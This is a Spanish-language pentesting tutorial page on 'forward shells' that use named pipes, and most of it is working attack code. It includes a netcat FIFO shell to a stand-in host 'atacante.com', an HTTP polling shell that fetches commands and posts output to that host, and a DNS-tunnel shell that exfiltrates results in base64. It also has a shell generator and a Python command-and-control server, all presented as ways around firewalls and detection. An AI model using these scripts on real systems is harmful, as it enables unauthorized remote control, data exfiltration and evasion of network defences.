Forward Shell - Shells Indirectos para Pentesting
Forward Shell - Shells Indirectos para Pentesting
Section titled “Forward Shell - Shells Indirectos para Pentesting”Introducción
Section titled “Introducción”Un Forward Shell es una técnica avanzada de pentesting que se utiliza cuando las conexiones directas (reverse o bind shells) están bloqueadas por firewalls, proxies o configuraciones de red restrictivas. Esta técnica utiliza named pipes (FIFO) para crear una “consola simulada” que permite la comunicación bidireccional indirecta con la máquina comprometida.
¿Cuándo usar Forward Shells?
Section titled “¿Cuándo usar Forward Shells?”- Firewalls restrictivos: Bloquean tanto conexiones entrantes como salientes
- Proxies corporativos: Filtran tráfico de red
- Redes segmentadas: Sin conectividad directa
- Evasión de detección: Método menos común y detectable
- Conexiones intermitentes: Cuando la conectividad es inestable
Conceptos Fundamentales
Section titled “Conceptos Fundamentales”[Atacante] <---> [Intermediario/Web] <---> [FIFO] <---> [Objetivo] | | | | Interface Upload/ Named Shell Web/API Download Pipe CommandsFundamentos de Named Pipes (FIFO)
Section titled “Fundamentos de Named Pipes (FIFO)”¿Qué es un Named Pipe?
Section titled “¿Qué es un Named Pipe?”Un named pipe o FIFO (First In, First Out) es un tipo especial de archivo que actúa como un canal de comunicación entre procesos. A diferencia de los pipes anónimos, los named pipes tienen un nombre en el sistema de archivos.
# Crear un named pipemkfifo /tmp/shell_pipe
# Verificar que se creóls -la /tmp/shell_pipe# prw-rw-r-- 1 user user 0 fecha /tmp/shell_pipe# Nota: 'p' indica que es un pipeFuncionamiento Básico
Section titled “Funcionamiento Básico”# Terminal 1: Escribir al pipeecho "comando" > /tmp/shell_pipe
# Terminal 2: Leer del pipecat < /tmp/shell_pipeTécnicas de Forward Shell
Section titled “Técnicas de Forward Shell”Método Básico con FIFO
Section titled “Método Básico con FIFO”# En la máquina objetivo:rm /tmp/f; mkfifo /tmp/fcat /tmp/f | /bin/bash -i 2>&1 | tee /tmp/output
# El atacante puede escribir comandos a /tmp/f# y leer resultados de /tmp/outputForward Shell con Netcat
Section titled “Forward Shell con Netcat”# Máquina objetivo:rm /tmp/f; mkfifo /tmp/fcat /tmp/f | /bin/bash 2>&1 | nc atacante.com 4444 > /tmp/f
# Atacante:nc -lvp 4444Forward Shell HTTP
Section titled “Forward Shell HTTP”#!/bin/bash# forward_shell_http.sh - En la máquina objetivo
FIFO="/tmp/cmd_pipe"OUTPUT="/tmp/cmd_output"SERVER="http://atacante.com:8080"
# Crear named piperm -f $FIFO $OUTPUTmkfifo $FIFO
# Loop principalwhile true; do # Obtener comando del servidor cmd=$(curl -s "$SERVER/cmd" 2>/dev/null)
if [ ! -z "$cmd" ] && [ "$cmd" != "NOCMD" ]; then echo "[+] Ejecutando: $cmd"
# Ejecutar comando y capturar salida echo "$cmd" > $FIFO & timeout 10 bash < $FIFO > $OUTPUT 2>&1
# Enviar resultado al servidor curl -s -X POST -d @$OUTPUT "$SERVER/output" 2>/dev/null
# Limpiar echo "" > $OUTPUT fi
sleep 2doneForward Shell con DNS
Section titled “Forward Shell con DNS”#!/bin/bashDOMAIN="tunnel.example.com"FIFO="/tmp/dns_pipe"
rm -f $FIFOmkfifo $FIFO
while true; do # Obtener comando via DNS TXT record cmd=$(dig +short TXT cmd.$DOMAIN | tr -d '"' | base64 -d)
if [ ! -z "$cmd" ]; then echo "$cmd" > $FIFO & result=$(timeout 5 bash < $FIFO 2>&1 | base64 -w 0)
# Enviar resultado via DNS (dividido en chunks) echo "$result" | fold -w 60 | nl | while read num chunk; do dig @dns-server result-$num-$chunk.$DOMAIN done fi
sleep 5doneScripts de Automatización
Section titled “Scripts de Automatización”Generador de Forward Shells
Section titled “Generador de Forward Shells”#!/bin/bashgenerate_http_forward() { local server=$1 local port=$2
cat << EOF#!/bin/bash# HTTP Forward ShellFIFO="/tmp/http_shell"SERVER="http://$server:$port"
rm -f \$FIFO; mkfifo \$FIFO
while true; do cmd=\$(curl -s "\$SERVER/cmd" 2>/dev/null) if [ ! -z "\$cmd" ] && [ "\$cmd" != "EMPTY" ]; then echo "\$cmd" > \$FIFO & result=\$(timeout 10 bash < \$FIFO 2>&1) curl -s -X POST -d "\$result" "\$SERVER/result" 2>/dev/null fi sleep 3doneEOF}
generate_file_forward() { local shared_dir=$1
cat << EOF#!/bin/bash# File-based Forward ShellSHARED_DIR="$shared_dir"CMD_FILE="\$SHARED_DIR/cmd.txt"RESULT_FILE="\$SHARED_DIR/result.txt"FIFO="/tmp/file_shell"
rm -f \$FIFO; mkfifo \$FIFO
while true; do if [ -f "\$CMD_FILE" ]; then cmd=\$(cat "\$CMD_FILE") rm -f "\$CMD_FILE"
echo "\$cmd" > \$FIFO & result=\$(timeout 10 bash < \$FIFO 2>&1) echo "\$result" > "\$RESULT_FILE" fi sleep 2doneEOF}
# Usoif [ $# -lt 2 ]; then echo "Uso: $0 <tipo> <parámetros>" echo "Tipos:" echo " http <server> <port>" echo " file <shared_directory>" exit 1fi
case $1 in "http") generate_http_forward $2 $3 ;; "file") generate_file_forward $2 ;; *) echo "Tipo no soportado" exit 1 ;;esacServidor HTTP para Forward Shell
Section titled “Servidor HTTP para Forward Shell”#!/usr/bin/env python3from http.server import HTTPServer, BaseHTTPRequestHandlerimport threadingimport time
class ForwardShellHandler(BaseHTTPRequestHandler): current_cmd = "EMPTY" last_result = ""
def do_GET(self): if self.path == '/cmd': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(self.current_cmd.encode())
elif self.path == '/result': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(self.last_result.encode())
def do_POST(self): if self.path == '/result': content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) ForwardShellHandler.last_result = post_data.decode('utf-8', errors='ignore')
print(f"\n[RESULT]:\n{ForwardShellHandler.last_result}") print("[CMD]> ", end="", flush=True)
self.send_response(200) self.end_headers()
def log_message(self, format, *args): pass
def command_input(): while True: try: cmd = input("[CMD]> ") if cmd.lower() in ['exit', 'quit']: break ForwardShellHandler.current_cmd = cmd time.sleep(0.5) ForwardShellHandler.current_cmd = "EMPTY" except KeyboardInterrupt: break
if __name__ == '__main__': server = HTTPServer(('0.0.0.0', 8080), ForwardShellHandler)
cmd_thread = threading.Thread(target=command_input, daemon=True) cmd_thread.start()
print("[+] Forward Shell HTTP Server iniciado en puerto 8080")
try: server.serve_forever() except KeyboardInterrupt: server.shutdown()